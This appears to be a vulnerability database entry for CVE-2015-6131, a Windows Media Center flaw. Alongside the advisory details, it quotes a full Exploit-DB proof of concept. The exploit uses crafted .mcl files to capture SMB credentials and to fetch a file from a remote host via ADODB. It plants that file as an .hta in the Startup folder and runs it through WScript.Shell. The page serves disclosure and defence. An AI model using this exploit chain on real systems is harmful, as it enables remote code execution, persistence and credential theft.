CVE-2015-6131 : Detail

CVE-2015-6131

A03-Injection
68.86%V3
Network
2015-12-09
10h00 +00:00
2018-10-12
17h57 +00:00
CVE.org
NVD
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CVE Descriptions

Windows Media Center in Microsoft Windows Vista SP2, Windows 7 SP1, Windows 8, and Windows 8.1 allows remote attackers to execute arbitrary code via a crafted .mcl file, aka "Media Center Library Parsing RCE Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 38911

Publication date : 2015-12-08 23h00 +00:00
Author : Eduardo Braun Prado
EDB Verified : No

Title: Microsoft Windows Media Center Library Parsing RCE Vuln aka "self-executing" MCL file (CVE-2015-6131) Software Vendor: Microsoft Software version : MS Windows Media Center latest version on any Windows OS. Software Vendor Homepage: http://www.microsoft.com CVE: CVE-2015-6131 Exploit Author: Eduardo Braun Prado Vulnerability oficial discoverer: Zhang YunHai of NSFOCUS Security Team date: december 8, 2015 Vulnerability description: Windows Media Center contains a remote code execution vulnerability because it allows "MCL" files to reference themselves as HTML pages, which will be parsed inside Windows Media Center window, in the context of the local machine security zone of Internet Explorer browser. This in turn allows execution of arbitrary code using eg. ADO ActiveX Objects. AKA "self-executing" MCL files. exploit code below: ----------- self-exec-1.mcl ------------------------------------ <application url="self-exec1.mcl"/><html><script>alert(' I am running in local machine zone which allows arbitrary code execution via, for example, ADO Objects')</script></html> ------------------------------------------------------------ ----------self-exec-2.mcl-------------------------------------- <application url="self-exec2.mcl"/><html><b>Use a sniffer software to sniff SMB traffic and retrieve the remote Windows username required for this exploit</b><img src=\\192.168.10.10\smbshare\someimg.jpg></img><script> RecordsetURL='http://192.168.10.10:80/recordsetfile.txt'; var rs = new ActiveXObject('ADODB.recordset'); rs.Open(RecordsetURL); rs.Save('C:/users/windowsuser/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/poc.hta'); rs.Close(); </script></html> ---------------------------------------------------------- -----Create-recordsetfile.hta -------------- <html><body onload="aa()"> <script language="VBScript"> function aa() defdir="." alert "This script will retrieve data from ""recordsetdata.txt"" and save it to the current directory as ""recordsetfile.txt"". Set c = CreateObject("ADODB.Connection") co = "Driver={Microsoft Text Driver (*.txt; *.csv)};DefaultDir=" & defdir & ";Extensions=txt;" c.Open co set rs =CreateObject("ADODB.Recordset") rs.Open "SELECT * from recordsetdata.txt", c al=rs.Save(defdir & "\recordsetfile.txt") rs.close end function </script></body></html> ------------------------------------------------------------------------------- ---------recordsetdata.txt------------------------------------------ <html> <script>a=new ActiveXObject('Wscript.Shell')</script> <script>a.Run('calc.exe',1);</script> </html> -------------------------------------------------------------------

Products Mentioned

Configuraton 0

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_vista >> Version -

References

http://www.securitytracker.com/id/1034335
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/38911/
Tags : exploit, x_refsource_EXPLOIT-DB